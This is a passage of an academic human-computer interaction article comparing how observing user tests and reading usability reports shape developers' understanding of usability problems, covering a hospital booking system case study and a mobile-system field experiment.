{"Source-Url": "http://cs.brynmawr.edu/Courses/cs206/fall2011/slides/02_OOP_ConstructorsStaticsWrappersPackages.pdf", "len_cl100k_base": 9005, "olmocr-version": "0.1.53", "pdf-total-pages": 78, "total-fallback-pages": 0, "total-input-tokens": 112558, "total-output-tokens": 12140, "length": "2e13", "weborganizer": {"__label__adult": 0.0003972053527832031, "__label__art_design": 0.0002734661102294922, "__label__crime_law": 0.00025177001953125, "__label__education_jobs": 0.0012054443359375, "__label__entertainment": 4.851818084716797e-05, "__label__fashion_beauty": 0.00015246868133544922, "__label__finance_business": 0.0001513957977294922, "__label__food_dining": 0.0003228187561035156, "__label__games": 0.0005698204040527344, "__label__hardware": 0.0005903244018554688, "__label__health": 0.00025272369384765625, "__label__history": 0.00017309188842773438, "__label__home_hobbies": 0.00011909008026123048, "__label__industrial": 0.0002837181091308594, "__label__literature": 0.0002137422561645508, "__label__politics": 0.0001982450485229492, "__label__religion": 0.0005168914794921875, "__label__science_tech": 0.0011854171752929688, "__label__social_life": 0.00010287761688232422, "__label__software": 0.0030994415283203125, "__label__software_dev": 0.98876953125, "__label__sports_fitness": 0.0003604888916015625, "__label__transportation": 0.00044608116149902344, "__label__travel": 0.0002237558364868164}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 36342, 0.01788]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 36342, 0.84431]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 36342, 0.73432]], "google_gemma-3-12b-it_contains_pii": [[0, 72, false], [72, 390, null], [390, 787, null], [787, 1340, null], [1340, 1856, null], [1856, 2544, null], [2544, 2869, null], [2869, 3328, null], [3328, 3693, null], [3693, 3826, null], [3826, 4041, null], [4041, 4532, null], [4532, 5154, null], [5154, 5535, null], [5535, 5917, null], [5917, 6495, null], [6495, 6825, null], [6825, 7266, null], [7266, 7745, null], [7745, 8216, null], [8216, 8670, null], [8670, 9345, null], [9345, 9896, null], [9896, 10596, null], [10596, 11123, null], [11123, 11613, null], [11613, 11627, null], [11627, 12044, null], [12044, 12394, null], [12394, 12669, null], [12669, 12962, null], [12962, 13426, null], [13426, 13814, null], [13814, 14212, null], [14212, 14722, null], [14722, 15079, null], [15079, 15552, null], [15552, 15923, null], [15923, 16461, null], [16461, 16785, null], [16785, 17096, null], [17096, 17351, null], [17351, 17891, null], [17891, 17908, null], [17908, 18493, null], [18493, 18835, null], [18835, 19206, null], [19206, 19564, null], [19564, 20326, null], [20326, 20678, null], [20678, 21662, null], [21662, 22118, null], [22118, 22576, null], [22576, 23090, null], [23090, 23336, null], [23336, 23580, null], [23580, 24114, null], [24114, 24441, null], [24441, 25279, null], [25279, 26741, null], [26741, 27082, null], [27082, 27564, null], [27564, 27964, null], [27964, 28430, null], [28430, 28879, null], [28879, 29474, null], [29474, 29950, null], [29950, 31174, null], [31174, 32015, null], [32015, 32914, null], [32914, 33417, null], [33417, 33910, null], [33910, 34229, null], [34229, 34626, null], [34626, 35055, null], [35055, 35460, null], [35460, 35794, null], [35794, 36342, null]], "google_gemma-3-12b-it_is_public_document": [[0, 72, true], [72, 390, null], [390, 787, null], [787, 1340, null], [1340, 1856, null], [1856, 2544, null], [2544, 2869, null], [2869, 3328, null], [3328, 3693, null], [3693, 3826, null], [3826, 4041, null], [4041, 4532, null], [4532, 5154, null], [5154, 5535, null], [5535, 5917, null], [5917, 6495, null], [6495, 6825, null], [6825, 7266, null], [7266, 7745, null], [7745, 8216, null], [8216, 8670, null], [8670, 9345, null], [9345, 9896, null], [9896, 10596, null], [10596, 11123, null], [11123, 11613, null], [11613, 11627, null], [11627, 12044, null], [12044, 12394, null], [12394, 12669, null], [12669, 12962, null], [12962, 13426, null], [13426, 13814, null], [13814, 14212, null], [14212, 14722, null], [14722, 15079, null], [15079, 15552, null], [15552, 15923, null], [15923, 16461, null], [16461, 16785, null], [16785, 17096, null], [17096, 17351, null], [17351, 17891, null], [17891, 17908, null], [17908, 18493, null], [18493, 18835, null], [18835, 19206, null], [19206, 19564, null], [19564, 20326, null], [20326, 20678, null], [20678, 21662, null], [21662, 22118, null], [22118, 22576, null], [22576, 23090, null], [23090, 23336, null], [23336, 23580, null], [23580, 24114, null], [24114, 24441, null], [24441, 25279, null], [25279, 26741, null], [26741, 27082, null], [27082, 27564, null], [27564, 27964, null], [27964, 28430, null], [28430, 28879, null], [28879, 29474, null], [29474, 29950, null], [29950, 31174, null], [31174, 32015, null], [32015, 32914, null], [32914, 33417, null], [33417, 33910, null], [33910, 34229, null], [34229, 34626, null], [34626, 35055, null], [35055, 35460, null], [35460, 35794, null], [35794, 36342, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, false], [5000, 36342, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 36342, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 36342, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 36342, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, true], [5000, 36342, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 36342, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 36342, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 36342, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 36342, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 36342, null]], "pdf_page_numbers": [[0, 72, 1], [72, 390, 2], [390, 787, 3], [787, 1340, 4], [1340, 1856, 5], [1856, 2544, 6], [2544, 2869, 7], [2869, 3328, 8], [3328, 3693, 9], [3693, 3826, 10], [3826, 4041, 11], [4041, 4532, 12], [4532, 5154, 13], [5154, 5535, 14], [5535, 5917, 15], [5917, 6495, 16], [6495, 6825, 17], [6825, 7266, 18], [7266, 7745, 19], [7745, 8216, 20], [8216, 8670, 21], [8670, 9345, 22], [9345, 9896, 23], [9896, 10596, 24], [10596, 11123, 25], [11123, 11613, 26], [11613, 11627, 27], [11627, 12044, 28], [12044, 12394, 29], [12394, 12669, 30], [12669, 12962, 31], [12962, 13426, 32], [13426, 13814, 33], [13814, 14212, 34], [14212, 14722, 35], [14722, 15079, 36], [15079, 15552, 37], [15552, 15923, 38], [15923, 16461, 39], [16461, 16785, 40], [16785, 17096, 41], [17096, 17351, 42], [17351, 17891, 43], [17891, 17908, 44], [17908, 18493, 45], [18493, 18835, 46], [18835, 19206, 47], [19206, 19564, 48], [19564, 20326, 49], [20326, 20678, 50], [20678, 21662, 51], [21662, 22118, 52], [22118, 22576, 53], [22576, 23090, 54], [23090, 23336, 55], [23336, 23580, 56], [23580, 24114, 57], [24114, 24441, 58], [24441, 25279, 59], [25279, 26741, 60], [26741, 27082, 61], [27082, 27564, 62], [27564, 27964, 63], [27964, 28430, 64], [28430, 28879, 65], [28879, 29474, 66], [29474, 29950, 67], [29950, 31174, 68], [31174, 32015, 69], [32015, 32914, 70], [32914, 33417, 71], [33417, 33910, 72], [33910, 34229, 73], [34229, 34626, 74], [34626, 35055, 75], [35055, 35460, 76], [35460, 35794, 77], [35794, 36342, 78]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 36342, 0.03808]]}
olmocr_science_pdfs
2024-12-08
2024-12-08
4e741cad52d3d1de1c8e2faf5c5dbfc3d1bebf6e
A usability evaluation provides a strong and rich basis for understanding and improving the design of user interaction with a software system. Exploiting this evaluation requires feedback that significantly impacts the developers’ understanding of usability data about the interaction design of the system. This article presents results from an exploratory study of 2 ways of providing feedback from a usability evaluation: observation of user tests and reading usability reports. A case study and a field experiment were used to explore how observation and usability reports impact developers’ understanding of usability data. The results indicate that observation of user tests facilitated a rich understanding of usability problems and created empathy with the users and their work. The usability report had a strong impact on the developers’ understanding of specific usability problems and supported a systematic approach to deal effectively with problems. We are grateful to the four developers from B-Data and Net-Mill who contributed to our two empirical studies. We also thank the anonymous reviewers for providing constructive comments and ideas. The project in which the research behind this article was carried out is partly financed by the Danish Research Councils (Grant 2106–04–0022). Correspondence should be sent to Rune Thaarup Høegh, Department of Computer Science, Aalborg University, Fredrik Bajers Vej 7, DK–9220 Aalborg East, Denmark. E-mail: runethh@cs.aau.dk 1. INTRODUCTION Implementing software systems in organizations can be a difficult task, and many systems fail to fulfil their goal or have serious limitations (Frøkjær & Korsbæk, 1992). Such limitations include lack of adequate support to the core tasks of the user and unsuitable designs of user interaction and interfaces (Landauer, 1996). Usability evaluations are conducted to overcome such problems. Usability is related to a software system’s ability to help specified users achieve specified goals in a particular environment in an effective, efficient, and satisfying way (International Organization for Standardization, 1998). A software system’s usability is closely related to the design of the user interaction component of the system. A main purpose of a usability evaluation is to assess the quality of a user interaction design and establish a basis for improving it (Rubin, 1994). This goal is accomplished by identifying specific parts of a system that do not properly support the users in carrying out their work. Thus usability evaluations and the related activities can help designers make better decisions and thereby allow them to do their jobs more effectively (Radle & Young, 2001). The usability evaluation is the whole process of judging the usability of a specific system. A usability evaluation starts with planning; it involves some systematic assessment of the system in question, and it produces some sort of result, typically a usability report. The systematic assessment is the heart of the evaluation. It can be conducted in different ways. A common approach is to run a series of user tests, where each user test involves a prospective user of the system who applies the test to solve certain tasks (Rubin, 1994). The interplay between user interaction design and usability evaluation activities can be illustrated as in Figure 1. The design process produces descriptions and implementations of various parts of the complete user interaction design. Some of these design products are applied in a usability evaluation, and the results of this evaluation are subsequently fed back into the design process. The purpose of the feedback is to provide a solid basis for improving the quality of the interaction design; then, the circle may start over again. Many different design products can be subjected to usability evaluation. The most obvious product is the system itself. Other relevant products are design specifications, functional or paper prototypes, and other artifacts from the development process that represent certain qualities of the system. Usability evaluations conducted early in the design phase of the product life cycle, using very early design ![Figure 1](image-url) sketches, such as paper prototypes or a similar low-fidelity method of exploring a potential interface, are denoted exploratory tests (Rubin, 1994). The objectives of an exploratory test are to explore the potential of preliminary design concepts and to examine whether the design is based on faulty assumptions or misunderstandings about the needs of the users, which may be difficult and expensive to remedy later in the development process. Another type of test, which is typically used on a less complete but still operational prototype of the system, is the assessment test (Rubin, 1994). The main goal of an assessment test is to ensure that the assumptions for a system remain relevant and that specific and detailed design choices are appropriate. Furthermore, the assessment test tends to focus more on the level of functionality and usability issues, for example, whether the system supports the users in completing their tasks and whether the system satisfies all user needs. A usability evaluation based on the final system has been denoted as a validation test (Rubin, 1994) and is conducted to ensure that all product design goals have been met. Validation tests aim to evaluate the actual functionality and performance of the system and often present the first opportunity to evaluate all of the elements in the entire system together, although other forms have also been explored, such as meetings with designers, editors, and others. Feedback is the information that is fed back from a usability evaluation to the design team. No matter which evaluation is conducted, feedback to the designers of the evaluated system is crucial to support improvements in the system as a part of the iterative process. We conducted a field experiment, where we investigated the impact of observation of user tests and reading of usability reports. In section 2, we provide a survey of previous research on the interplay between usability evaluations and design teams. In section 3, we present the first of our empirical studies, a case study of the impact of developers observing user tests. The second empirical study is presented in section 4, where we investigated the impact of usability reports and its different elements. Section 5 discusses the additional observations that emerged through the two empirical studies. Finally, section 6 provides the conclusion. tional unit within the development organization, and they conduct evaluations as a service to development teams; and (c) the evaluators are employed by a different organization, and evaluations are outsourced from the development organization to this organization. The first way—the integration approach—focuses on the organizational and interpersonal aspects of usability evaluation in a software development organization. Mayhew (1999a, 1999b) suggested that usability engineers are best adopted and introduced into existing development groups. Efforts have been undertaken to simplify the integration problem by training designers to conduct usability evaluations. Other researchers attend to how all levels of an organization can be directed toward usability (Ehrlich, Beth, & Pernice, 1994; Radle & Young, 2001). When the organizational setup is based on usability specialists as part of the development team, there is little need for formalized forms of feedback, because evaluators bring results directly into the development process (Bærentsen & Slavensky, 1999). The results of the evaluation just need to be documented for later reference. The second way—the separate unit approach—has been discussed by many authors. The idea is to let different people conduct development and evaluation to get a more objective evaluation but to conduct both activities in the same organization so evaluators can benefit from domain knowledge. Rohn (1994) portrayed a usability engineering group inside SunSoft, which provides support and performs usability evaluations across the organization. Several authors have described the use of specialized usability groups or departments employing usability professionals (Blatt, Jacobsen, & Miller, 1994; Fowler, Stuart, Lo, & Tate, 1994; Lund, 1994; Muller & Czerwinski, 1999; Palmiter, Lynch, Lewis, & Stempski, 1994; Salzman & Rivers, 1994; Zirkler & Ballman, 1994). With this organizational structure, there is a manifest need for some form of formalized feedback. The third way—the outsourcing approach—is the consequent form of separation between development and evaluation. So far, it has had little attention. One strongly separated alternative to the integration and separate unit approaches is third-party vendors providing services to other companies (Dolan & Dumas, 1999). There are also documented examples of projects in which the evaluation has been outsourced (Murphy, Howard, Kjeldskov, & Goschnick, 2004). This approach requires even more formalized feedback compared to the second approach. With any of these three approaches, some form of feedback is needed. The literature on strengths and weaknesses of different forms of feedback is lacking. A reason for this is that most research on design and evaluation of specific systems take place within the integration approach (the first way previously cited). In a review of 58 articles that present usability evaluations of mobile systems, all 58 showed the designers and the evaluators to be the same individuals (M. C. Nielsen, Overgaard, Pedersen, & Stenild, 2004). Thus in research experiments it is often the designers themselves who perform the usability evaluation. This approach has both advantages and disadvantages concerning the outcome of a usability evaluation. The advantage is that the evaluators are familiar with the application domain and the functionality and design of the system (Hartson, Shivakumar, & Pérez-Quinones, 2004). The disadvantage is that the lack of independence between designer and evaluator might result in a less objective evaluation, because the designer risks being biased toward the system (Bachrach & Newcomer, 2002). When the separate unit or the outsourcing approach is employed, there is a need for formalized feedback. In that case, most of the literature seems to take for granted that this feedback must be a written report. Dumas and Redish (1993), Rubin (1994), and Molich (2000) suggested usability reports as the mean for communicating results of a usability evaluation. A study has shown that test reports are very common and standardized documents (Borgholm & Madsen, 1999). Muller and Czerwinski (1999) also described the use of reports within Microsoft to share usability engineers’ findings and recommendations by making them available on the company intranet. Cockton (2004) extended this with the idea of a value-centered approach in which the interplay between design and evaluation extends from a simple feedback loop to a chain of mediations where the focus is on the intended value of the system. One study of usability reports suggests four basic guidelines for providing feedback from evaluation to design: emphasize the positive, express your annoyance tactfully, avoid usability jargon, and be as specific as you can (Dumas & Redish, 1993). A few authors have presented specific advice on the structure and content of a usability report (e.g., Perfetti, 2003; Redish et al., 2002), and an ANSI standard (American National Standards Institute, 2001; Scholtz & Morse, 2002) specifies the elements that should be reported from a summative usability evaluation. The advice on feedback suggests that a description of the goal of the evaluation is included and that the feedback is only limited to a manageable number of problems, as a too-long list of problem can be overwhelming to the recipients of the feedback. The feedback should also include an executive summary listing the most important findings, possibly along with a video that illustrates the problems. Furthermore, it is suggested that identified problems are classified according to their severity along with the frequency with which different numbers of participants encountered the problem. Others, such as Sy (1994), have argued that the feedback should clearly state the implications of not changing the product and that the report also should include graphical illustrations to aid in quick retrieval of information when the report is aimed toward the management. The widespread use of usability reports as the key mechanism for providing feedback does not imply that there is a generally agreed-upon report format. In one comparison of usability evaluation methods, the usability reports varied in length from 5 to 36 pages, and there were many differences in content. The problem lists were also presented very differently (Molich, Ede, Kaasgaard, & Karykin, 2004). Different authors have discussed the extent of the relevancy of positive evaluations in the report. Both Perfetti (2003) and Redish et al. (2002) supported the idea of including positive findings in usability reports. Developers have argued that positive findings are always nice, but they cannot really use them for improving the system. Hence they do not find any reason for spending a lot of time on finding positive aspects. Including redesign proposals in the feedback from usability evaluations, however, have received a more positive response from developers. Frøkjær and Hornbæk (2005) studied how developers received such proposals. They found that redesign proposals were useful tools for developers, because the proposals would help them understand the usability problems, and the proposals were useful as inspiration to finding alternative solutions on how to address a usability problem. There is less research on other forms of feedback situation than the traditional usability report. Sy (1994) suggested a brief meeting with the development team as a part of the feedback. The purpose of the briefing is to give a walk-through of the findings and help the developers to prioritize the issues to deal with. Sy specifically suggested an action list as the product of the discussion with the attendees. The overall concepts defined in XXXXXXXXXX and the three approaches to structuring the relation between designers and evaluators that were previously discussed reflect our fundamental understanding of usability work. Here, design and evaluation are considered two separate activities in a system development process. This understanding is basically influenced by the work of J. Nielsen (1993) and Rubin (1994). It should be emphasized that we have made this choice well aware that other approaches are based on a fundamentally different understanding. Norman (1998) emphasized that design and evaluation should be integrated into the design process. This is also the focus of Moran’s (2002) notion of adaptive design. 3. STUDY 1: A CASE STUDY COMPARING OBSERVATION AND USABILITY REPORT In this section we present a case study of how direct observation of a series of user tests impacted two developers’ understanding of usability problems in the system they had developed. Next, we describe the method of the case study and the results we obtained. 3.1. Method The purpose of this empirical study was to make a qualitative assessment of observation as a means for providing feedback from a usability evaluation to the development team. We carried out a study of the impact of observation of user tests on software developers and compared it to the impact of a traditional usability report. The study was made in the natural settings in the field, and we gathered information from two developers from the same development organization. These are key characteristics of a case study (Benbasat, Goldstein, & Mead, 1987; Wynekoop & Conger, 1990). **Participants.** A research group consisting of five usability experts conducted the usability evaluation. Two of the authors of this article were members of that group. The group had experience from more than 30 usability evaluations conducted for software development organizations and customers. The usability evaluation referred to in this article was made for a customer who intended to buy the software system under evaluation. The usability evaluation was based on five user tests with five different users. The system was intended for the health care area, and the five users were nurses or medical doctors. A project manager and a senior developer from the development team observed the five user tests. **Materials.** The evaluated system is an interactive online facility for booking doctors and operation units for operations in a hospital. The system enables access to and reporting of data about commissioned operations for patients. The system is normally accessed from a personal computer connected to the hospital network. The results of the usability evaluation were documented in a usability report with a list of contents as in Table 1. This structure is based on Rubin’s (1994) guidelines for structure and contents of a usability report. The usability report included a description of the evaluation method and the setting, demographic data about the test subjects, a list of problems sorted by severity, detailed descriptions of the problems, log files with transcripts of the individual usability tests, and user scores in a TLX-test. The list of problems sorted by severity is the most essential information in the usability report. It details the identified usability issues, and the problems are described in detail. In addition, the log files describe the situations where the user encountered the different usability issue. The TLX-test is a multidimensional rating procedure to measuring users’ work effort based on a weighted average of ratings on six subscales (Hart & Staveland, 1988). The 52-page report included transcripts and screen dumps of the graphical user interface. Fifty-one usability issues were found and categorized using a scaling from Molich (1998). The problems were rated as 19 critical problems, 15 serious problems and 17 cosmetic problems. **Procedure.** The usability evaluation was formative, as the purpose was to provide the software company with a basis for improving the system. The evaluation was based on five user tests that were conducted by using the think-aloud protocol (Rubin, 1994). The user’s interaction and utterances were recorded on video for later analysis. Five test participants completed a series of seven tasks. The session for each user lasted about 45 min. Developers were sitting in an adjacent other room with live video screen display and audio from the test room (see Figures 2 and 3). After the user tests were completed, a detailed video analysis was conducted in order to identify and categorize usability problems. The report was sent to the software company approximately 1 month after the evaluation. <table> <thead> <tr> <th>Usability report structure</th> <th>3. Expenditure of time</th> <th>5. Conclusion</th> </tr> </thead> <tbody> <tr> <td>1. Summary</td> <td>a) Expenditure of time on tasks</td> <td>Appendix</td> </tr> <tr> <td>2. Method</td> <td>b) Discussion of expenditure of time</td> <td>a) Tasks</td> </tr> <tr> <td>a) Purpose</td> <td></td> <td></td> </tr> <tr> <td>b) Procedure</td> <td></td> <td></td> </tr> <tr> <td>c) Test participants</td> <td>a) Problem list</td> <td>b) Introduction and questionnaires</td> </tr> <tr> <td>d) Test procedure</td> <td>b) Detailed description of problems</td> <td>c) Log files</td> </tr> <tr> <td>e) Location &amp; equipment</td> <td></td> <td>d) Screen dumps</td> </tr> <tr> <td>f) Identification &amp; categorization of problems</td> <td></td> <td></td> </tr> </tbody> </table> Note. Bold numbers denote chapters; letters denote sections. Data collection. After every second user test, we had a short discussion with the two developers. During the discussion, we noted their expressions about the users, the system, and the usability problems they had observed. Three months after the evaluation was completed, we conducted individual semistructured interviews (Kvale, 1997) with the two persons who observed the user tests. In a semistructured interview, the interviewer uses a set of prepared questions but is free to follow and investigate interesting topics during the interview. The interviews focused on how the observation of the user test had impacted the further development of the software and how the usability report was used in that process. The interviews were tape recorded with the developers’ permission and lasted about 40 min. The tape recordings of the interviews were fully transcribed to facilitate detailed qualitative analysis. The result was a 20-page document for each interview. Data analysis. The interviews were interpreted and analyzed using grounded theory (Strauss & Corbin, 1998). This was done by two of the authors of this article through a four-step process. First, they separately analyzed the transcripts of the interviews using open coding. The codes were used to identify a range of categories and properties in the data. The analyzer defined the codes, and each code referred to one or more quotations in the document. After this step was completed, both authors had a set of open codes from the interview transcripts. Second, the two sets of codes were merged, and a final set of codes was agreed on. Third, the two authors separately conducted a metalevel analysis to create families of codes, here called categories. As the categories emerged, they were compared to other incidents in the transcripts to broaden or narrow the category. Fourth, the two lists of categories were joined, and a final list of categories was agreed on. The merged list included 56 codes. For each code there were references to between 1 and 15 quotations. From these codes, we defined nine categories, each including between 1 and 16 codes. The validity of this empirical study relies on the grounded theory approach. Grounded theory is a methodology for collecting and analyzing empirical data. The purpose of the method is to support the building of a theory from a set of data, typically a large text. The theory takes the form of a conceptual framework that reflects the understanding that the researcher has developed from the text. An overview of grounded theory as a research approach in human–computer interaction is provided by Pace (2004). 3.2. Results The nine categories covered the issues presented in Table 2. Although there are only 56 codes, the number of codes in all categories adds up to 60, because 4 codes were related to two different categories. The first four categories cover demographic issues, the fifth is an example of usability problems that the interviewees mentioned as examples, and the ninth represents new ideas to feedback. These categories are not discussed in this article, as we focus on the observation and the usability report. Thus we only discuss Categories 6, 7, and 8. Observing user tests. This category includes 16 codes with 47 quotations. The codes with the largest number of quotations are experience evaluation (8 <table> <thead> <tr> <th>Table 2: Categories Identified in the Data</th> </tr> </thead> <tbody> <tr> <td>1. Demography of the user tests (2/6)</td> </tr> <tr> <td>2. Demography of the interview persons (4/18)</td> </tr> <tr> <td>3. Relation to customers and users (6/24)</td> </tr> <tr> <td>4. Test and usability evaluation in the company (10/45)</td> </tr> <tr> <td>5. Examples of usability problems (1/6)</td> </tr> <tr> <td>6. Observing user tests (16/47)</td> </tr> <tr> <td>7. Impact of the usability report (9/39)</td> </tr> <tr> <td>8. The developers’ reactions to problems (6/16)</td> </tr> <tr> <td>9. Ideas to new forms of feedback (6/40)</td> </tr> </tbody> </table> Note. The parenthetical numbers indicate the number of codes included in each category and the number of quotations for all codes of the category. The developers expressed that having observed the evaluation had several positive effects on the development process. One of the first things they noticed was that they quickly got a feeling of the most severe problems with the software. Well, I think that, once we got started, we realised pretty fast where the biggest problems were. It was actually already after the first few users that it was pretty clear to us where the biggest problems were. And I think that once we got to user number 3 and 4 then … it was the same problems we saw. So perhaps it became a bit repetitive for us. The development team was able to address those severe problems the day after the user tests, as the developers had already seen them and experienced how the problems influenced the usability of the software. They did not feel the need to wait for the report on the usability evaluation, because some of the problems were obvious. The two observers made their own prioritized list of problems to address straight after the user tests. The list of problems that they had noted included eight of the problems later categorized as “critical” by the usability evaluation team. The observers focused on the most severe problems. The less critical problems were filtered out and not remembered. The project manager explained that they could not recognize some of the problems when they got the usability report. It is the main issues you remember when you get home. It is not until you get this report that … It is like an “ahh yes” experience, and then you can use what is in the report. … Well some of them, and I will say that some of them I cannot even remember where they were, or why they were there. This illustrates the added value of the systematic analysis for usability problems that is documented in the usability report. With the report, the less critical problems are not forgotten. It is, of course, a question if all problems should be reported or if too long a list will exhaust or confuse the developers. In this particular study, the development team decided to focus on the critical problems, and the remaining problems were used as examples of problems to avoid in the future. Impact of the usability report. This category includes nine codes with 39 quotations. The codes with the largest number of quotations are use of the report (13 quotations), impact of problem list (7 quotations), and time between user tests and report (6 quotations). The project manager who observed the evaluation said that the report was used very little. The development team had focused on the problems they had seen during the observation of the usability evaluation, and there had been no effort to systematically address the problems described in the usability report. A reason for that was that the development process had very limited resources. The issues described in the usability report were viewed more as “problems to avoid in the future” than something that needed systematic fixing in the current project. The project manager even said that the report was only interesting as an argument to management to get more resources for the project: “Also simply because this piece of paper, it only works for management. The report is an argument to our management—only.” There is, of course, a question of whether the project manager fully understood the purpose of the report, but her statement clearly describes how she views the report. It is not because she does not recognize that there are usability issues in the software, but she does not agree that the report is the best way to communicate the problems. The developers also emphasized that the delay of 1 month from the user tests to the receipt of the report was too long. They needed more immediate feedback into the development process. **The developers’ reactions to problems.** This category includes six codes with 16 quotations. The code with most quotations is user training, and other codes cover accepting or rejecting problems and impact in terms of either changes to the current system or transfer to the development of other systems. The interviews revealed that there is much more information in a usability evaluation than is possible to include in a traditional usability report. The information is related to seeing and hearing the test participants interact with the system in real time in a live observation. The experience of observing the test participant gives a stronger impression of the system’s weaknesses and how the prospective users struggle to overcome them. It may be that you have written a lot about how they sit and fumble with the keys or how they really have problems figuring out what they should do. But as a developer, to see the woman that really works with the software, and to really understand that she is completely lost. It may be that you write that the user does not see the navigation options, or loses her orientation .... It is just not the same, as when the developer is seeing it herself. She has no idea about what to do. This is an example of a reaction from one of the observers. Her point is that observing the user gave her a much stronger impression of the problems than she got from reading about it. She develops a stronger empathy because she can see the users struggle. This empathy supports her in understanding the problem with the software. The other observer expressed it this way: I would say that I was probably more influenced that day, because I saw how severe problems they had. Rather than if I get it on an email, where I would normally think “Oh well, it can not be that bad.” Observing the evaluation is obviously a stronger experience than reading about it. One of the observers added that it was harder not to recognize the existence of the problems. Another benefit of observing the usability problems with the software was that the observers felt that they could more easily explain the problems to the other developers on their team. They had a better feeling of the problems, and they could show the developers the exact situation in which the test participants had experienced the usability problems. The observers also discussed whether the cause of the usability problems was the system or the amount of training that the users had received. One of them thought these sources were about equally important: I think the reason is both the problems of the system and the amount of training. The system has problems, and we have seen that clearly in the test, no doubt about that. But there are also situations where we think the user lacks training. In our conversations with the developers throughout the test, it was also clear that they started being very defensive. After the first two users had worked with the system, we talked with the developers. They did not express it explicitly, but they clearly conveyed that they were surprised we had been able to find two such incompetent users. After the next two users, they were very quiet, and after the fifth user they told us directly that they wanted to collaborate with us to solve these problems. Thus they gradually became convinced of the problems. The other developer expressed it this way: “I dare to say … without putting it into percentages, I dare to say the major problem is the design of the system.” Observing the user tests made the developers much more empathetic to the prospective users of the system, and this empathy was still in place at the time we conducted the interviews. 4. STUDY 2: A FIELD EXPERIMENT WITH USABILITY REPORTS This section describes our second study, a field experiment in which we conducted a qualitative assessment of the impact of usability reports and their individual elements on the developers of a system. 4.1. Method The purpose of this study was to examine how usability reports can impact the developers’ opinions about the major strengths and weaknesses of a system. The basis for the study was two usability reports that were made through a usability evaluation in a different but related study. It has been emphasized that usability reports are often very extensive, take a long time to produce, and involve a heavy workload for the author (Borgholm & Madsen, 1999). Therefore, it is paramount that the feedback designers receive from such reports is useful. Otherwise, producing the report would be a waste of resources. Based in this, our aim was furthermore to identify the report elements that the developers found most useful and relevant. The study was made in the development organization, which is the natural context for working with design issues. The experiment involved systematic manipulation of one variable, which was the reading of usability reports, and measurement of another variable, which was the developers’ opinion about the system. Thereby, it can be characterized as a field experiment (Benbasat et al., 1987; Wynekoop & Conger, 1990). Participants. This field experiment was made in collaboration with a software company developing a mobile system. Two developers from the company were involved in the experiment. They were responsible for the design of the user interface of the mobile system. They described themselves as experienced interface designers based on their educational background and their previous work. Three of the authors of this article acted together with a fourth person as evaluators of the mobile system. They were split into two teams, and each team made an evaluation and a report. All four were trained usability evaluators with experience from previous usability evaluations. The users that participated in the usability evaluation were 14 tradesmen who had received basic training in using the mobile system. Materials. The system that was the focus of the field experiment is used by tradesmen and people with similar occupations for registering the consumption of time, materials, mileage, and equipment and for providing online access to the inventory while working in the field. The system runs on a regular mobile phone with a barcode scanner attached. Most of the registrations and interactions with the system are based on barcodes that are taken from a small booklet. The evaluation was recorded using a mobile camera and recording unit. Both the test monitor and the test participants wore a wireless microphone that transmitted a signal to the recording unit. One member of the group operated the mobile camera and recording unit. The usability reports from the evaluations are named R1 and R2. The two reports were made by two different teams of evaluators and thereby emphasized somewhat different problems with the system. The structure of the two reports is similar to the one described in the Materials section of Study 1 and Table 1. The enumerations in that table are used as a reference next, where we present our results. The lengths of the reports were also comparable to the one described in the Study 1 Materials section. Table 3 shows the number of usability problems documented, described, and rated according to severity in each of the reports. R1 reported 15 critical, 16 severe, and 17 cosmetic usability problems, and R2 reported 14 critical, 14 severe, and 6 cosmetic usability problems to the developers. Note that the purpose here is not to compare R1 and R2. Procedure. The two teams conducted their evaluations separately. In each evaluation, the same team of two evaluators carried out the entire process of con- <table> <thead> <tr> <th></th> <th>R1</th> <th>R2</th> </tr> </thead> <tbody> <tr> <td>Critical</td> <td>14</td> <td>15</td> </tr> <tr> <td>Severe</td> <td>14</td> <td>16</td> </tr> <tr> <td>Cosmetic</td> <td>6</td> <td>17</td> </tr> <tr> <td>Total</td> <td>34</td> <td>48</td> </tr> </tbody> </table> ducting the evaluation, analyzing the data, and writing the usability report. Both teams employed a common severity based on the categories proposed by Molich (2000). The field experiment involved the five steps shown in Table 4. The table also shows how the two developers were involved in each step. In Step 1, they were instructed about the procedure of the investigation, and then they wrote down their initial understanding of usability and usability evaluation. In addition, they were asked to write down their expectations to the usability reports. In Step 2, they were interviewed about their initial opinion on strengths and weaknesses in the system. In Step 3, one of them received R1 and the other R2. After reading the report, they were asked to describe and explain five strengths and five weaknesses of the system. In Step 4, each developer received and read the other report and was interviewed again about his conception of strengths and weaknesses. In both Steps 3 and 4, the developers also ranked the strengths and weaknesses in a list. The developers worked separately in Steps 2, 3, and 4. In Step 5, the two developers met and discussed their lists of strengths and weaknesses. They were asked to work out a common list. First the final list from each developer was written on a white board without ratings. Then the developers were asked to discuss and finally agree on a rating for all of the items in the two lists. The rating was important by itself, and it also forced the developers to discuss and reflect on each item. **Data collection.** The developers were interviewed when they made their lists with strengths and weaknesses. Our approach was a semistructured interview (Kvale, 1997). <table> <thead> <tr> <th>Step</th> <th>Developer A</th> <th>Developer B</th> </tr> </thead> <tbody> <tr> <td>1</td> <td>Outline the process for the developers.</td> <td>Semistructured interview on initial</td> </tr> <tr> <td></td> <td>Semistructured interview on initial</td> <td>opinions on strengths and weaknesses.</td> </tr> <tr> 